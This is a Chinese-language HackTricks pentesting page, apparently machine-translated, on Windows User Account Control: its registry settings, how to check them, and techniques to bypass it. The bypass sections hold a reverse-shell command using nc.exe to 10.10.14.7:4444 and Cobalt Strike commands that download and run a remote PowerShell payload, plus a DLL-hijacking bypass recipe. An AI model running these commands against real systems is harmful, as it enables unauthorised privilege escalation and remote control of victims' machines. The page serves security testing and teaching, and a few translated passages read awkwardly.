hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md
2023-08-03 19:12:22 +00:00

19 KiB
Raw Blame History

UAC - 用户账户控制

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

用户账户控制UAC是一种功能,它为提升的活动提供了同意提示。应用程序具有不同的完整性级别,具有高级别的程序可以执行可能危及系统的任务。当启用UAC时应用程序和任务始终在非管理员帐户的安全上下文中运行,除非管理员明确授权这些应用程序/任务以管理员级别访问系统来运行。它是一种方便功能,可保护管理员免受意外更改,但不被视为安全边界。

有关完整性级别的更多信息:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

当UAC启用时管理员用户会获得两个令牌一个标准用户密钥用于以常规级别执行常规操作以及一个具有管理员特权的令牌。

这个页面详细讨论了UAC的工作原理包括登录过程、用户体验和UAC架构。管理员可以使用安全策略在本地级别使用secpol.msc配置UAC的工作方式或者通过组策略对象GPO在Active Directory域环境中进行配置和推送。这些各种设置在这里详细讨论。有10个组策略设置可以用于UAC。下表提供了额外的详细信息

组策略设置 注册表键 默认设置
内置管理员帐户的用户账户控制:管理员批准模式 FilterAdministratorToken 禁用
用户账户控制允许UIAccess应用程序在不使用安全桌面的情况下提示提升 EnableUIADesktopToggle 禁用
用户账户控制:管理员批准模式下管理员的提升提示行为 ConsentPromptBehaviorAdmin 对非Windows二进制文件提示同意
用户账户控制:标准用户的提升提示行为 ConsentPromptBehaviorUser 在安全桌面上提示凭据
用户账户控制:检测应用程序安装并提示提升 EnableInstallerDetection 启用(家庭版默认)禁用(企业版默认)
用户账户控制:仅提升已签名和验证的可执行文件 ValidateAdminCodeSignatures 禁用
用户账户控制仅提升已安装在安全位置的UIAccess应用程序 EnableSecureUIAPaths 启用
用户账户控制:以管理员批准模式运行所有管理员 EnableLUA 启用
用户账户控制:在提示提升时切换到安全桌面 PromptOnSecureDesktop 启用
用户账户控制:将文件和注册表写入失败虚拟化到每个用户位置 EnableVirtualization 已启用

UAC绕过理论

如果用户属于管理员组,则某些程序会自动进行自动提升。这些二进制文件在其清单中具有值为TrueautoElevate选项。该二进制文件还必须由Microsoft签名

然后,为了绕过UAC中等完整性级别提升到高级),一些攻击者使用此类二进制文件来执行任意代码,因为它将从高级完整性进程中执行。

您可以使用Sysinternals的工具sigcheck.exe检查二进制文件的清单。您还可以使用_Process Explorer_或_Process Monitor_Sysinternals的工具查看进程的完整性级别

检查UAC

要确认UAC是否已启用请执行以下操作

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

如果值为**1则表示UAC已激活**;如果值为**0或者不存在**则表示UAC处于未激活状态。

接下来,检查已配置的UAC级别

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 如果值为**0则UAC不会提示类似于禁用**
  • 如果值为**1**,管理员需要输入用户名和密码以使用高权限执行二进制文件(在安全桌面上)
  • 如果值为**2**始终通知我当管理员尝试以高权限执行某些操作时UAC将始终要求确认在安全桌面上
  • 如果值为**3**,类似于1,但在安全桌面上不是必需的
  • 如果值为**4**,类似于2,但在安全桌面上不是必需的
  • 如果值为**5**默认值它将要求管理员确认以使用高权限运行非Windows二进制文件

然后,您需要查看**LocalAccountTokenFilterPolicy的值
如果值为
0,则只有RID 500用户(内置管理员)能够执行管理员任务而无需UAC**,如果值为1,则**"Administrators"**组中的所有帐户都可以执行这些任务。

最后,查看键**FilterAdministratorToken的值
如果值为
0(默认值),则内置管理员帐户可以执行远程管理任务,如果值为1,则内置管理员帐户无法**执行远程管理任务,除非LocalAccountTokenFilterPolicy设置为1

总结

  • 如果EnableLUA=0不存在,则任何人都没有UAC
  • 如果EnableLua=1且**LocalAccountTokenFilterPolicy=1则任何人都没有UAC**
  • 如果EnableLua=1且**LocalAccountTokenFilterPolicy=0FilterAdministratorToken=0则RID 500内置管理员没有UAC**
  • 如果EnableLua=1且**LocalAccountTokenFilterPolicy=0FilterAdministratorToken=1则所有人都有UAC**

可以使用metasploit模块post/windows/gather/win_privs收集所有这些信息。

您还可以检查用户的组并获取完整性级别:

net user %username%
whoami /groups | findstr Level

UAC绕过

{% hint style="info" %} 请注意如果您可以以图形方式访问受害者的计算机UAC绕过就很简单因为当UAC提示出现时您只需点击“是”即可。 {% endhint %}

在以下情况下需要UAC绕过UAC已激活您的进程在中等完整性上下文中运行并且您的用户属于管理员组

需要注意的是,如果UAC处于最高安全级别始终绕过UAC要困难得多而如果UAC处于其他任何级别默认则绕过UAC要容易得多

禁用UAC

如果UAC已经禁用ConsentPromptBehaviorAdmin为**0),您可以使用以下命令以管理员权限高完整性级别执行反向Shell**

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

使用令牌复制绕过UAC

非常基本的UAC“绕过”完全访问文件系统

如果你拥有一个属于管理员组的用户的shell你可以通过SMB文件系统本地挂载C$共享,然后你将可以访问文件系统中的所有内容(甚至是管理员的主文件夹)。

{% hint style="warning" %} 看起来这个技巧不再起作用了 {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

使用Cobalt Strike绕过UAC

只有在UAC未设置为最高安全级别时Cobalt Strike技术才能生效。

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

KRBUACBypass

文档和工具在https://github.com/wh0amitz/KRBUACBypass

UAC绕过漏洞

UACME是几个UAC绕过漏洞的编译集合。请注意您需要使用Visual Studio或MSBuild编译UACME。编译将创建多个可执行文件例如Source\Akagi\outout\x64\Debug\Akagi.exe),您需要知道您需要哪一个
您应该小心,因为某些绕过方法会提示其他程序,这些程序会警告用户有事情发生。

UACME具有每个技术开始工作的构建版本。您可以搜索影响您版本的技术。

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

此外,使用此页面您可以从构建版本中获取Windows版本1607

更多UAC绕过

这里使用的所有绕过AUC的技术都需要与受害者进行全交互式shell常见的nc.exe shell是不够的

您可以使用meterpreter会话。迁移到一个具有Session值等于1的进程

explorer.exe应该可以工作

使用GUI绕过UAC

如果您可以访问GUI当您收到UAC提示时您可以直接接受它您不需要绕过它。因此访问GUI将允许您绕过UAC。

此外如果您获得了某人正在使用的GUI会话可能通过RDP则有一些工具将以管理员身份运行您可以直接运行cmd等作为管理员而无需再次由UAC提示例如https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能更加隐蔽。

喧闹的暴力破解UAC绕过

如果您不在意喧闹,您可以始终运行类似于https://github.com/Chainski/ForceAdmin的东西,它会要求提升权限,直到用户接受为止。

您自己的绕过方法-基本的UAC绕过方法

如果您查看UACME您会注意到大多数UAC绕过都滥用了Dll劫持漏洞主要是将恶意dll写入_C:\Windows\System32_阅读此内容以了解如何查找Dll劫持漏洞

  1. 找到一个将自动提升权限的二进制文件(检查执行时是否以高完整性级别运行)。
  2. 使用procmon查找可能容易受到DLL劫持的“NAME NOT FOUND”事件。
  3. 您可能需要将DLL写入一些受保护的路径如C:\Windows\System32您没有写入权限。您可以使用以下方法绕过此限制
  4. wusa.exe适用于Windows 7、8和8.1。它允许在受保护的路径中提取CAB文件的内容因为此工具是以高完整性级别执行的
  5. IFileOperation适用于Windows 10。
  6. 准备一个脚本将您的DLL复制到受保护的路径中并执行易受攻击且自动提升权限的二进制文件。

另一种UAC绕过技术

这种方法是观察是否有一个自动提升权限的二进制文件尝试从注册表中读取要执行的二进制文件或命令的名称/路径如果二进制文件在HKCU中搜索此信息则更有趣

使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥